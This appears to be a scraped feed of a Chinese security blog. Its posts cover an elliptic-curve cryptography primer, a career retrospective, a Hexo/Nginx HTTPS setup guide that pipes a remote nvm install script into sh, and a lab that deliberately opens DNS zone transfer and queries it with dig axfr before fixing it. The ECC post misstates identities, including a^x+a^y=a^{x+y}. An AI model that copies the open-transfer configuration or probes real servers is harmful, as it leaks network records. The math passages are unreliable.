然后，我们随机选取两个X的值，那么我们就可以通过计算Y值得出蓝色的A和蓝色的B两个坐标。下一步，我们把蓝色的A和B两点连接，他们的连接线将会与曲线在一点相交，我们把这个相交点的Y值反转，即可得到如下图所示的橙色A+B点。这里留一个疑问，蓝色A点+蓝色B点的值会等于橙色A+B点吗？

紧接着，我们把A+B点连接到曲线上的某一点C。同样的，只要这一条线不是垂直的，我们就可以在A+B点和C点之间的连接线中找到一个与曲线相交的点，我们一样把这个相交点的Y值反转，即可得到如下图所示的橙色A+B+C点。

如此类推，我们就可以不断的通过这样的方法，从一点出发得到另外一个新的点。为了便于更直观的理解，我们希望用相同的点P来表示每一个新的点，所以我们利用当前位置的切线来得到点P，用同样的办法得出P+P点（或称2P点），得到如下图：

接下来，我们再一次从P+P点回到原始的P点，得到的结果，我们称之为P+2P+3P（或称3P点）

类似的，我们可以利用这个方法一直持续下去N次，得到NP。那么当我只告诉你如下图的NP的坐标（意味你已知NP）时，你可以不可以推算出N的次数呢？

这里N=13，因为图是作者画的，所以她肯定知道呀。但如果排除这种情况以外（已得知N值），你将很难通过推算找到答案。听到这里，大概密码学的味道开始出现了，N代表的就是私钥，而NP代表的就是公钥。换句话说就是，当我们知道NP和P的值的时候，推算出N的值是困难的。

有人就会问了，当我已经知道NP和P的值，那么我可以从P+P开始，再到P+2P+3P的一直尝试下去，不就可以得到NP了吗？那我们接下去看。首先我们看到下面的加法交换律，

$$
a+(b+c)=(a+b)+c
$$

我们可以借助作者提供的源码，在 jupyter notebook 中计算出坐标点A，点B和点C不同顺序相加的结果：

1.jpg

两者的结果是非常接近的，造成误差是由于算法的浮点类型设置，另外原文也已经解释了关于数学有限域的问题，但这不是本文着重点。这里我们认为加法交换律是成立，得出结论一:坐标点可以无序的相加而不影响结果。

刚刚“加法交换“的例子我们已经讲到（已知）P+2P=3P，那么下面式子是不是成立呢？

$$
P+3P=4P=2P+2P
$$
同样在电脑上使用 jupyter notebook 计算一次，我们得出下面的两个图：

等式两边的结果都是在同一个点上，即上面的式子是成立的，得出结论二:将坐标点化作成倍关系的累加是不影响结果的。有了上面两个结论，我们就可以开外挂来“加速运算”了,所以回到刚刚的问题：

我可以从P+P开始，再到P+2P+3P的一直尝试下去，不就可以得到NP了吗？

举个例子，已知N=227，尝试分解227P的运算过程。首先将227分解成用二进制的方式表达：
$$
11100011
$$
接着代入P点的坐标，且将二进制运算转换为对应的幂运算，式子如下：

$$
2^7P+2^6P+2^5P+2^1P+2^0P
$$
等同于：
$$
128P+64P+32P+2P+P
$$
相比于逐次累加227次运算得出227P的结果，上面的式子可以化简为8次运算就可以得出结果，也比较符合计算机的运算方式。**因此，对于猜解N值，幂运算的方法比逐次累加的方法快太多了。**接下来就是熟悉的同底数幂相加和求对数的问题，例如:

$$
a^x+a^y=a^{x+y}
$$

$$
3^4 = 3\times 3\times 3\times 3=81
$$

$$
4=log_381
$$

所以求解N的值就可以转换成对数的求解。那为什么已知NP求解N是困难的？因为椭圆曲线密码体制就是建立在对椭圆曲线离散对数问题(ECDLP)求解困难性假设基础上 ，如开头所说的，本文不深究数学问题。只需要知道当N值变成更大的数字，例如 2256 或者 1082 的时候，攻击者逐次累计的方式就变得无效，且保证了攻击者在已知NP和P的情况下，无法计算出N值。

Namely, find out what’s the N value from NP and P point given if N is big enough. This is called Elliptic Curve Discrete Logarithm Problem.

文章最后举例Alice和Bob是如何交换密钥以及实现加密通信的。

第一步，约定使用ECC算法作为加密协议；

第二步，Alice发送公钥P和NP值给Bob，N为Alice的私钥。当N值足够大的时候，已知NP来求解N是困难的，因此N值只有Alice知道；

第三步，Bob同意使用公钥P，并且回复MP给Alice，M为Bob的私钥。当M值足够大的时候，已知MP来求解M是困难的，因此M值只有Bob知道；

第四步，协商一个对称加密算法，如AES256。Alice和Bob使用共享的密钥SK来加密和解密信息；

$$
SK=NP\times M=MP \times N
$$
这里又有一个新的安全问题，那就是Alice如何校验MP这个值就是来自Bob的呢？因此需要引入公钥基础设施（Public key infrastructure）的概念来防止中间人攻击（MITM attack)，例如HTTPS绿锁头的原理。

参考资料：

Elliptic Curve Cryptography Explained

How To Set Up Jupyter Notebook with Python 3 on Ubuntu 18.04 | DigitalOcean

]]> https://www.h0u5er.com/ECC/ 2019-11-24T02:58:55.000Z 在阮一峰的博客上发现一篇有意思的推荐文章，讲述了椭圆曲线加密算法（Elliptic Curve Cryptography）的实现原理，原作者友好的将文章使用的源代码放在了Github供读者使用，我也成功在Ubuntu搭建起了实验环境。此文的原意并不是深究ECC算法是如何实现]]> ECC算法原理基础 2019-11-24T02:58:55.000Z Houser Yuen 下班前半个小时，用户突然发现几天没登陆的服务器有个安全事件弹窗，我急忙调出这台服务器最近的日志，好家伙，C&C IP黑名单和CVE漏洞命中了几条，我是既感觉刺激又感觉开心，因为成功化解了一波攻击，而用户却一副忧心忡忡的表情，毕竟谁也不知道，下一次还会有什么样子的攻击事件。

1.png

简单分析攻击链，old school but practical，扫描器探路，对脆弱主机直接exploit利用，攻陷目标之后尝试call back被安全产品拦截，清理木马，排期做一次Windows patch就能解决问题，跟用户解释清楚，再加固好服务器就下班了，但是在车上，我突然思考一个问题：

抵御外部攻击的这件事情上，我好像没有做什么。

我只不过是事先调教好了一堆的安全产品，设好告警通知，然后事后分析了一下日志，根据实际情况加固了服务器。那么真正的功臣可能还是背后各种各样的安全研发团队，是他们为我们提供了更多自动化且不间断的保护，当然还有许多的bug hunter。

近年来，随着攻击行为的自动化，未来的世界好像并不需要我这样的角色存在，攻击者与防御者在进行一场自动化的机器对抗。攻击者可以结合类似shodan.io的东西，精确针对脆弱主机发起攻击，尝试突破限制，进一步拿下控制权，最后利用类似C&C方式达到持续控制效果，“念念不忘，必有几个倒霉主机回响”。防御者仍然可以利用传统的网络控制手段，甚至隔离手段保护自己，也可以用repid7，tenable这样的产品发掘自身漏洞，尽早修复脆弱点，还可以部署虚拟化，沙箱，应用控制这样的安全工具，将层层结构都做到独立且安全，当然别忘记蜜罐和EDR。其实讲了那么多，我发现这一切都涉及太多的机器，有软件，有硬件，而我能做就是学习它们，利用它们，保护它们。差点漏了一个很重要的博弈例子：杀毒软件。云查杀，启发式查杀应该都被玩烂了，攻击者想做免杀绕过也越来也难，但路子也是越来越猥琐，现在已有安全厂家为小小的杀毒终端嵌入了离线机器学习，专门针对无文件攻击，外加行为分析，用户累加可疑程度达到一定阈值，即便你有Microsoft的证书，一样先斩后奏。

此刻，这些机器它们都是我的辅助工具，当未来它们有了更出色的决策能力之后，可能我将变成它们的辅助工具。两年前在北京的ISC我第一次听到机器对抗的概念，演讲嘉宾还提问了当下是机器的对抗还是人的对抗？两年后的今天，我深信这已经是机器对抗的年代。知道为什么互联网行业的培训特别多吗？因为互联网行业瞬息万变，而我们最擅长搞焦虑，卖鸡汤，哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈，希望在未来与攻击者的博弈中，我还有按“更新按钮”的机会。

WeChat Image_20190801213456.jpg

]]> https://www.h0u5er.com/console-evolution/ 2019-08-01T13:39:05.000Z 下班前半个小时，用户突然发现几天没登陆的服务器有个安全事件弹窗，我急忙调出这台服务器最近的日志，好家伙，C&C IP黑名单和CVE漏洞命中了几条，我是既感觉刺激又感觉开心，因为成功化解了一波攻击，而用户却一副忧心忡忡的表情，毕竟谁也不知道，下一次还会有什么样子的攻击]]> 来自Console线的鞭策 2019-08-01T13:39:05.000Z Houser Yuen 开章

一月初,又写了一堆不切实际年度计划,忘记备份了…..

今天心血来潮翻开这两年寥寥无几的日记,看完感触挺多的,所以那就继续写写吧.

考虑了很久要不要在博客这里立 Flag, 今年想好好写博客,所以祝新年快乐啦 :p

我的工作

2016年末,还是大二的学生,抱着好奇的心态,决定打印三份简历去校招会感受下气氛.荣哥给我抛来了橄榄枝.他是一家创业公司的老板,小公司人不多,但是格局很大,有自己的想法. 2017年,刚刚踏入职场的我接触了很多新技能:机房拓扑,无线网络,虚拟化,大数据,等级保护,甚至还有产品经理的工作等等.我想每一个技术岗的实习生都希望有一个老师傅指导或者一个氛围不错的团队可以帮助自己快速的进步.很可惜,这一家公司的技术基因不强,我时常感觉一个人干完一个部门的事情.呆了一年之后,我觉得这一家公司不是我期待那样的,郁郁寡欢一段时间之后,我”被辞职了”,回来这个我熟悉的小城市.

2018年初,我去到一个行业内数一数二的公司,技术主管问我要选渗透部门还是等保测评部门,我选了等级测评.我大概花了半个月时间熟悉了这个岗位的工作流程.也意识到了网络安全应该是技术管理+制度管理,我在这一家公司呆了五个月,是很开心的五个月,但是这次是我”主动辞职”,因为我有点明白我所需要的是什么.

2019年的今天,庆幸的说我对目前的工作我很满意.不需要回公司办公,不需要打卡,不需要周报月报,不需要察言观色,发工资准时,老板接地气.这样一番描述下来,感觉我加入了传销组织.所以我时常在心里提醒自己:你是一名网络安全工程师,请敬畏你的头衔.换了两次工作,但每一次的工作经验都有我值得学习的地方,现在的我更加习惯一个人完成工作,更擅长沉淀.

  • 善用谷歌搜索,官方指南,设备日志
  • 专业技能和交际能力一样重要
  • 形象管理,时间管理,文档管理
  • 业余兴趣或许是你的副职业

我的生活

过去一年我没有生什么大病,小病也很少,但是陪家人寻医问诊的次数多了.

过去一年偶尔有运动,但是该胖还是胖了,晚上呆酒馆里的时间更多了.

过去一年没有哪个月不是超预算消费.

过去一年我内心接受了我是条单身狗的既定事实.

I lost you, but I found myself, So I won. — Instagram

过去一年我成为了罗胖说的巨婴,随心所欲,失控

日常打卡

  • Trend Micro Certified Security Administrator for TappingPoint — Jan 11 Compeleted
  • Full Course For Python Beginners
  • Linux system performance optimization
  • VMware vSphere Lab
  • Zabbix Lab
]]> https://www.h0u5er.com/2019/ 2019-01-22T06:04:00.000Z 开章

一月初,又写了一堆不切实际年度计划,忘记备份了…..

今天心血来潮翻开这两年寥寥无几的日记,看完感触挺多的,所以那就继续写写吧]]>

你好,2019 2019-01-22T06:04:00.000Z Houser Yuen 0x0 前言

一年前，总想写点什么作为生活记录。在比对众多类型博客之后，简洁高效的 hexo 脱颖而出，它适合你体会写博客的每一个阶段。本博客采用 Nginx + Hexo + Let‘s Encrypt + Cloudflare 组件，架设在 vps 上，采用了 Let‘s Encrypt 的免费证书和 Cloudflare 的 CDN 服务。如果你是利用 github pages 搭建博客，仅需阅读 1x0 章节，内容不包括上传部分。

0x1 部署 SSL 的准备工作

谷歌宣布从2018年7月即 Chrome 68 发布开始，将把所有 HTTP 站点标记为不安全。

作为信息安全工作者，我深知 SSL 存在的必要性和复杂性，但无论因为何种原因导致你需要部署 SSL ，都需要先考虑下面几个问题：

  1. 你是否基本明白 SSL 的工作原理；
  2. 网站是否计划 HTTP 和 HTTPS 并存；
  3. 新增的 SSL 开销是否影响性能或体验；
  4. 能否接受 SSL 对运维和原有组件的影响；

1x0 部署 Hexo

关于 Hexo 的介绍请前往官网了解。Hexo 博客可以像传统建站一样通过购买服务器和域名实现，也可以利用 github pages，将源码托管到 github 实现，后者需要依赖 git ，因此部分发行版的 Linux 需要更新自带的 git，无论哪种方式都需要安装 node.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[root@H0u5er ~]# yum -y install gcc zlib-devel openssl-devel perl cpio expat-devel gettext-devel curl autoconf  
[root@H0u5er ~]# yum install git-core
[root@H0u5er ~]# git --version
[root@H0u5er ~]# wget -qO- https://raw.github.com/creationix/nvm/master/install.sh | sh
[root@H0u5er ~]# reboot
[root@H0u5er ~]# nvm --version
[root@H0u5er ~]# nvm install stabl     //  安装稳定版，推荐执行这一条
[root@H0u5er ~]# node -v
[root@H0u5er ~]# nvm ls-remote      //   安装可选版本
[root@H0u5er ~]# nvm use default
[root@H0u5er ~]# npm install -g hexo-cli      //  安装必备 hexo 客户端，推荐执行这一条
[root@H0u5er ~]# npm install -g hexo-server      //  安装可选
[root@H0u5er ~]# npm install -g hexo      //  安装可选
[root@H0u5er ~]# pwd
[root@H0u5er ~]# hexo init blog      //  hexo 自动创建并设置 blog 为主文件夹
.
├── _config.yml
├── package.json
├── scaffolds
├── source
|   ├── _drafts
|   └── _posts
└── themes
[root@H0u5er ~]# hexo -version
[root@H0u5er ~]# cd blog      //  进入主文件夹内执行 hexo 命令
[root@H0u5er blog]# hexo server      //  启用 hexo 服务，默认使用 4000 端口，注意防火墙策略
[root@h0u5er blog]# hexo new new_post      //  新建一篇博文
[root@h0u5er blog]# hexo help      //  帮助命令

命令执行不出现问题的话，Hexo 已经安装完成。Hexo 主配置文件 _config.yml 有严格的缩进要求，通过在官方或者 github 寻找心仪的主题设计，下载主题文件到 theme 文件夹，并且将 _config.yml 的 theme 修改为对应文件夹名字，即可替换 Hexo 主题风格。

如果你是利用 github pages 搭建博客，还需要配置 git ，如上传密钥等请自行解决。

1
2
[root@h0u5er blog]# cat _config.yml | grep git
# github_username:    H0u5er

2x0 申请证书

如果你是利用 github pages 搭建博客，本小节不适用。

Let‘s Encrypt 是这几年很热门的免费 SSL/TLS 证书供应商，在为我们提供便利的同时，也为许多网络犯罪提供了温床。今年 3 月开始，Let’s Encrypt 发布的ACME v2 现已正式支持通配符证书。

2x1 安装 Certbot

https://certbot.eff.org/lets-encrypt/centosrhel7-nginx

打开 Let’s Encrypt 和 Certbot 的合作网页，根据使用情况选择 Web 中间件和系统版本，页面会生成对应的安装指引。

1
2
[root@H0u5er ~]# yum install python2-certbot-nginx  // 这里我的环境是 Centos7 + Nginx
[root@H0u5er ~]# certbot --version  // 这里我的环境是 Centos7 + Nginx

2x2 身份认证

1
2
[root@H0u5er ~]# certbot --help  // 查看大致使用语法
[root@H0u5er ~]# certbot --h certonly  // 查看 certonly 的使用语法

申请证书方式包括Run（默认），Certonly 和 Renew，这里我建议使用 certonly 获取证书，然后通过手工配置证书的方式实现 SSL。另外 Certbot 支持 Standalone，Nginx，Webroot，Manual 等身份认证，都是为了验证域名所有者是你本人，详细区别查看这里的官方解释，使用哪种方式取决于实际网络情况和需求，下面举几个例子，更多细节问题请查阅官方资料。如果你已经使用了 CDN 服务，那么请务必采用 Webroot 的方式进行认证，因为 Let’s Encrypt 的认证服务器并不知道你的原始服务器 IP 地址。

  1. 通过 DNS 的交互验证方式：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@H0u5er ~]# certbot --manual --perferred-challenges dns certonly

Enter email address (used for urgent renewal and security notices) (Enter 'c' to
cancel): XXXX@XXXX.com

Please read the Terms of Service ....
(A)gree/(C)ancel: A

Would you be willing to share your email ....
(Y)es/(N)o: Y

Please enter in your domain name(s) (comma and/or space separated)  (Enter 'c'
to cancel): example-h0u5er.com

Are you OK with your IP being logged?
(Y)es/(N)o: Y


Please deploy a DNS TXT record under the name
_acme-challenge.example-h0u5er.com with the following value:
uckdcWCoXW46RkFf630ymzjj_y5E0mE47S2VK8l3rRA
Before continuing, verify the record is deployed.
-------------------------------------------------------------------------------
Press Enter to Continue

此方式基于 DNS 的解析。在交互过程中，根据你的实际情况回答。这种方式需要你拥有对域名的解析控制权，添加一条 TXT 类型的记录，主机名为 _acme-challenge，内容为 Let’s Encrypt 在交互时产生的随机字符串，此处是 uckdcWCoXW46RkFf630ymzjj_y5E0mE47S2VK8l3rRA。在 DNS 记录添加完毕并生效之后，按 Enter 即可获得证书。

  1. 通过 Webroot 验证方式
1
[root@H0u5er ~]# certbot certonly --webroot --agree-tos -v -t --email XXXX@XXXX.com -w /var/www/ -d example-h0u5er.com

此方式基于网站目录访问。参数 -d 是需要验证的域名，系统会在 -w 参数设置的网站根目录下会创建临时文件，/网站根目录/.well-known/acme-challenge，shell 脚本会自动访问该目录，如果能访问说明你是域名的所有者，特别需要注意 DNS 的解析是否可达，可根据返回的消息进行排错。出现下述内容的时候，说明验证通过。

1
2
- Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/你的域名/fullchain.pem
  1. 通过 Nginx 验证方式
1
[root@H0u5er ~]# certbot --nginx --agree-tos --redirect --uir --hsts --staple-ocsp --must-staple -d www.example-h0u5er.com,example-h0u5er.com --email XXXX@XXXX.com

此方式基于 Nginx 插件。上述语句因为没有带 certonly 的参数，所以使用了默认的 run 参数代替，即在申请证书的同时自动配置好 Nginx 的 SSL 设置，还可以包括 301 重定向，CSP，HSTS，OCSP Stapling 的安全优化，但是自动配置的前提是网站并没有采用 CDN 服务。-d 参数后面如有多个子域名，可以使用逗号隔开。

  1. 通过 standalone 验证方式
1
[root@H0u5er ~]# certbot certonly --standalone --email XXXX@XXXX.com -d example-h0u5er.com

此方式基于网络。这种验证方式不依赖 Web 组件。后续可添加 –preferred-challenges http 或者–preferred-challenges tls-sni 参数，分别指定使用 80 或 443 端口进行验证，这样的话就需要保证服务器能接收互联网的请求。

2x3 自动续期

Let‘s Encrypt 默认提供的证书只有 90 天有效期，在没有 Certbot 之前，用户需要运行特定的 python 脚本使得证书可以自动续期。Let’s Encrypt 和 Certbot 合作之后，证书自动续期的事情变得非常简单，只需要利用 renew 参数，certbot 即可自动调用 /etc/letsencrypt/renewal 下的配置文件进行续期操作。如果你使用系统定时任务执行续期，请需要注意 certbot 指令在 crond 进程下的环境变量是否能够被调用。

1
2
3
[root@h0u5er ~]# certbot renew
[root@h0u5er ~]# cat /var/spool/cron/root | grep certbot
0 0 1 * * root certbot renew --quiet && systemctl reload nginx >> /var/log/letsencrypt-daily.log 2>&1

3x0 配置 Nginx

如果你是利用 github pages 搭建博客，本小节不适用。

如果你是通过购买服务器搭建博客，那么你需要 Apache 或 Nginx 等等承载 Web 服务的组件。由于 Hexo 默认工作在 4000 端口，我们可以将写好的博客转换成静态文件：

1
2
3
[root@h0u5er blog]# hexo generate      //  自动将 hexo 生成静态文件，如 HTML 
[root@h0u5er blog]# cat _config.yml | grep public
public_dir: public

静态文件会保存在 Hexo 的主目录下，文件夹的名字取决于配置文件，此处为 public 文件夹，配置 Apache 或 Nginx 使得 public 文件夹内容在 80 端口展示。还有另外一种不推荐的做法，那就是利用 Nginx 的反向代理，网站的访客如往常一样在浏览器直接输入 IP 或者域名访问默认的 80 端口，Nginx 收到请求之后将访问指向本地 4000 端口，这样做使得 Hexo 在利用 4000 端口进行本地调试的信息，也会直接暴露在 80 端口，反向代理的 nginx 配置如下：

3x1 拥有证书后的 Nginx

申请证书成功之后，默认是放在 /etc/letsencrypt/live/你的域名/ 的这个文件夹下面，在原先的配置基础上 server 部分加入 SSL 的配置就完成了基本的 SSL 支持。

1
2
3
4
5
6
7
8
9
10
11
server {  
    listen 80;
    listen [::]:80 ssl ipv6only=on; 
    listen 443 ssl;
    listen [::]:443 ssl ipv6only=on;
    server_name example-h0u5er.com;

    ssl on;
    ssl_certificate /etc/letsencrypt/live/example-h0u5er.com/fullchain.pem; 
    ssl_certificate_key /etc/letsencrypt/live/example-h0u5er.com/privkey.pem; 
}

关于 Nginx 的配置，我部署的过程出现过许多错误，同时这样简单的配置有许多不足，如 HTTP 依然可以在网页内使用、没有启用迪菲-赫尔曼密钥交换（英语：Diffie–Hellman key exchange，缩写为D-H） 等等问题。Nginx 的 SSL 配置指南 中提及的内容很适合学习。

4x0 启用 CDN（可选）

对于不了解 CDN 加速原理的读者，建议先看看相关资料。演示采用 Cloudflare CDN 免费服务，但针对国内节点的加速效果较差，慎用。

如果你是利用 github pages 搭建博客，它同样支持 CDN 加速，但本文仅考虑且保证能在自建服务器的情况下使用该方式。

在使用 Cloudflare 的 CDN 服务之前，你需要将 DNS 的解析权交给 Cloudflare，网上有方法可以绕过，至于为什么需要把解析权交给 Cloudflare ，我推测是为了实现在不掌握用户 SSL 私钥的情况下进行 CDN 加速。首先登录到 Cloudflare 的官网, 在 DNS 菜单中选择涉及的 DNS 记录开启 CDN，同时在 Crypto 的 SSL 选项卡中开启 Full strict 模式，当 SSL 选项卡出现 Universal SSL Status Active Certificate 则完成了 CDN 加速配置，激活过程一般只需要几分钟。

关于 Full strict 模式和其他三种模式的解释对比，请翻阅官方资料，由于 Let‘s Encrypt 的有效时间较短并且属于权威机构认可的证书，因此选择 Full strict 模式。

5x0 排错与优化

错误1：浏览器提示 The plain HTTP request was sent to HTTPS port;

一般是由于中间件的配置不当导致，在我关闭 Nginx 配置中的 ssl 参数并重启 nginx 后即可解决。

1
#ssl on // 或者改为 off

可以参考此处的 Nginx 配置文件格式

错误2：www.h0u5er.com redirected you too many times;ERR_TOO_MANY_REDIRECTS;

一般是由于中间件的配置不当导致，在我调整了 Nginx 中的 301 重定向并重启 nginx 后即可解决。

错误3: Cloudflare 的Crypto SSL 一直处于 initializing Certificate 状态；

情况一，属于先部署 SSL 证书完成，再开启 CDN 的。则打开 Cloudflare CDN 功能和 SSL 的 Full strict 模式即可， initializing Certificate 一般只会持续几分钟就会转为 Active Certificate 。

情况二，属于先开启了 CDN，再从原始服务器申请 SSL 证书的。那么证书务必才用 Webroot 方式认证，同时可以使用 Nginx 的自动配置，参考如下:

1
[root@h0u5er ~]# certbot --authenticator webroot --installer nginx -w /网站主目录 --agree-tos --redirect --uir --hsts --staple-ocsp --must-staple -d www.example-h0u5er.com,example-h0u5er.com --email XXXX@XXXX.com

错误4：网站页面无法打开，error 526；

点击转跳到官方知识库页面，搞清楚 Full strict 模式和 Full 模式的应用范围与区别。

错误5： ERR_SSL_VERSION_OR_CIPHER_MISMATCH

点击转跳到medium社区，查看解决办法

优化1：部分页面在 Chrome 显示为不安全；

拿我自身的博客举例，因为之前采用 HTTP 协议的图床，所以手工替换了支持 https 的图床。目前本博客已经实现全站 HTTPS 且全站符合 Chrome 小绿锁标准，强迫症患者的福音。

优化2：Cloudflare 的 CDN 在国内效果并不好；

国内的大部分情况下 Cloudflare 是一个减速的 CDN。因为本站的服务器在国内连接速度还算不错，所以采用关闭资源自动压缩、调整缓存等级( No Query String )、开启 HTTP2、调整防火墙等级( Low ) 、关闭手机端加速等等迷之优化方式。优化后，部分地区加载网页的速度与原始 IP 访问页面的加载速度差别在毫秒级以内。

优化3：网站加固；

主机安全方面，本次采用的 CDN 虽然加速效果不怎么样，但是减少了真实 IP 暴露所带来的危害。其次建议开启服务器内的防火墙，控制端口流量，增强 RDP 或 SSH 的验证方式，合理分配系统的权限。

Web 服务方面，可以通过配置文件隐藏中间件的版本号，增加中间件的安全配置，如：

1
2
3
4
5
6
7
add_header Content-Security-Policy upgrade-insecure-requests;
add_header Strict-Transport-Security "max-age=15552000; preload" always; 
add_header X-Frame-Options SAMEORIGIN;
add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
add_header 'Referrer-Policy' 'origin';
add_header Feature-Policy  “XXXXXXXXX”

优化4：CAA 记录配置

CAA （Certification Authority Authorization）是在 2013 年由 RFC 6844 定义的一个标准，旨在于通过控制哪些 CA 能给一个域名签发证书提升 PKI 体系的生态圈强度。 因为每一个 CA 都能给任意域名签发证书，这样会导致 CA 的证书容易被劫持，因此我们可以在 DNS 解析记录中，添加类型为 CAA 的记录，名字为 example-h0u5er.com，对应的值为 letsencrypt.org，如果是采用其他 CA 签发的证书，则替换为类似digicert.com、globalsign.com。添加一个联系邮箱，便于 CA 中心发现异常恶意签发证书时通知管理员。

1
2
3
4
[root@h0u5er conf.d]# dig h0u5er.com CAA
;; ANSWER SECTION:
h0u5er.com.300INCAA0 iodef "mailto:root@h0u5er.com"
h0u5er.com.300INCAA0 issue "letsencrypt.org"

6x0 参考资料

Ubuntu 利用Let‘s Encrypt 部署 HTTPS

测试网站的 SSL 性能

测试网站的安全头部设置

Nginx 的安全头部设置指南

7X0 更新

[2019 Feb 20] 前几天都到 Let‘s Encrypt 的邮件提醒,证书即将过期,于是到服务器执行

1
[root@h0u5er letsencrypt]# certbot renew

命令执行之后没有报错就是重新申请完成, 重启 Nginx 之后浏览器就会显示新证书了. 新证书会自动用新的数字命名,比如原本使用的是01,那么新证书就会命名成02, 并且自动以用02作为新的证书.下面这个链接文件我不知道是默认还是我自己手动改了的原因,但是也会自动指向较新的证书文件.

1
2
3
4
5
6
7
8
9
[root@h0u5er www.h0u5er.com]# pwd
/etc/letsencrypt/live/www.h0u5er.com
[root@h0u5er www.h0u5er.com]# ll
total 4
lrwxrwxrwx 1 root root  38 Dec 11 17:43 cert.pem -> ../../archive/www.h0u5er.com/cert1.pem
lrwxrwxrwx 1 root root  39 Dec 11 17:43 chain.pem -> ../../archive/www.h0u5er.com/chain1.pem
lrwxrwxrwx 1 root root  43 Dec 11 17:43 fullchain.pem -> ../../archive/www.h0u5er.com/fullchain1.pem
lrwxrwxrwx 1 root root  41 Dec 11 17:43 privkey.pem -> ../../archive/www.h0u5er.com/privkey1.pem
-rw-r--r-- 1 root root 682 Dec 11 17:43 README
]]> https://www.h0u5er.com/Nginx-Hexo-LetsEncrypt-Cloudflare/ 2018-07-30T09:08:34.000Z 0x0 前言

一年前，总想写点什么作为生活记录。在比对众多类型博客之后，简洁高效的 hexo 脱颖而出，它适合你体会写博客]]>

Hexo博客部署SSL 2018-07-30T09:08:34.000Z Houser Yuen DNS 主从服务搭建

互联网上有许多资料可以参考，这里就不重复造轮子了，搭配 keepalived 可实现高可用的主从 DNS 服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root@dns1 ~]# hostnamectl 
   Static hostname: dns1
         Icon name: computer-vm
           Chassis: vm
        Machine ID: d8cfdeb18e36481c98a0792188ff65ad
           Boot ID: ede2daeef7b14a579aa3c6b678816708
    Virtualization: vmware
  Operating System: CentOS Linux 7 (Core)
       CPE OS Name: cpe:/o:centos:centos:7
            Kernel: Linux 3.10.0-693.el7.x86_64
      Architecture: x86-64
[root@dns1 ~]# firewall-cmd --list-port
FirewallD is not running

[root@dns1 ~]# yum -y install bind
[root@dns1 ~]# rpm -qa | grep bind
bind-9.9.4-61.el7.x86_64     // 此次是基于 bind9 的安装
bind-libs-lite-9.9.4-61.el7.x86_64
bind-libs-9.9.4-61.el7.x86_64
bind-chroot-9.9.4-61.el7.x86_64
bind-utils-9.9.4-61.el7.x86_64
bind-license-9.9.4-61.el7.noarch
bind-devel-9.9.4-61.el7.x86_64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root@dns1 ~]# vi /etc/named.conf   // 展示小部分配置信息
options {
        listen-on port 53 { 192.168.84.184; };
        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        allow-query     { 0.0.0.0/0; };    // 这里没有限制其他主机向 “我” 进行 DNS 查询
        
zone "h0u5er-dns.com" IN {
        type master;
        file "/var/named/h0u5er-dns.com.zone";
        allow-transfer {any;};   // 这里就是域传送漏洞根本原因
        allow-update { none; };
};

[root@dns1 ~]# cat /var/named/h0u5er-dns.com.zone 
$ORIGIN h0u5er-dns.com.
$TTL 86400
@       IN      SOA     ns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. (
                              2018060801
                              10800
                              3600
                              604800
                              86400
                             )
;
;
        IN      NS              ns1.h0u5er-dns.com.
        IN      NS              ns2.h0u5er-dns.com.
        IN      MX      10      mail.h0u5er-dns.com.
;
;
ns1             IN      A       192.168.84.184
ns2             IN      A       192.168.84.185
www             IN      A       192.168.84.184
ftp             IN      CNAME   www.h0u5er-dns.com.

基于 DNS 域传送漏洞

在 2016 年的乌云网，@404notfound 和 @hellokuku 两个白帽子提交了包括中国工信部、美国财务部在内的多个域传送漏洞，漏洞成因主要是运维人员的配置不当，导致敏感信息泄露。2018 年的今天，还会有粗心的管理员吗？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@dns2 ~]# hostnamectl 
   Static hostname: dns2
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 150d42408fb14ece8fa84bcee1e40b1f
           Boot ID: 2077a008ad4c4724adb7d1600b4cf032
    Virtualization: vmware
  Operating System: CentOS Linux 7 (Core)
       CPE OS Name: cpe:/o:centos:centos:7
            Kernel: Linux 3.10.0-693.el7.x86_64
      Architecture: x86-64
  
[root@dns2 ~]# dig axfr h0u5er-dns.com @192.168.84.184

; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> axfr h0u5er-dns.com @192.168.84.184
;; global options: +cmd
h0u5er-dns.com.86400INSOAns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. 2018060801 10800 3600 604800 86400
h0u5er-dns.com.86400INNSns1.h0u5er-dns.com.
h0u5er-dns.com.86400INNSns2.h0u5er-dns.com.
h0u5er-dns.com.86400INMX10 mail.h0u5er-dns.com.
ftp.h0u5er-dns.com.86400INCNAMEwww.h0u5er-dns.com.
ns1.h0u5er-dns.com.86400INA192.168.84.184
ns2.h0u5er-dns.com.86400INA192.168.84.185
www.h0u5er-dns.com.86400INA192.168.84.184
h0u5er-dns.com.86400INSOAns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. 2018060801 10800 3600 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.84.184#53(192.168.84.184)
;; WHEN: Thu Jun 28 02:34:12 EDT 2018
;; XFR size: 9 records (messages 1, bytes 242)

解决办法：限制 allow-query 和 allow-transfer 的范围，亲测如果仅仅修改了 allow-query 允许本机查询，但 allow-transfer 访问依然为 any 的话，域传送漏洞依然存在。如果还启用了 rndc 远程连接服务的话，建议限制监听范围或者禁用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@dns2 ~]# dig h0u5er-dns.com @192.168.84.184   // 此时已经把 0.0.0.0/0 替换为 192.168.84.184

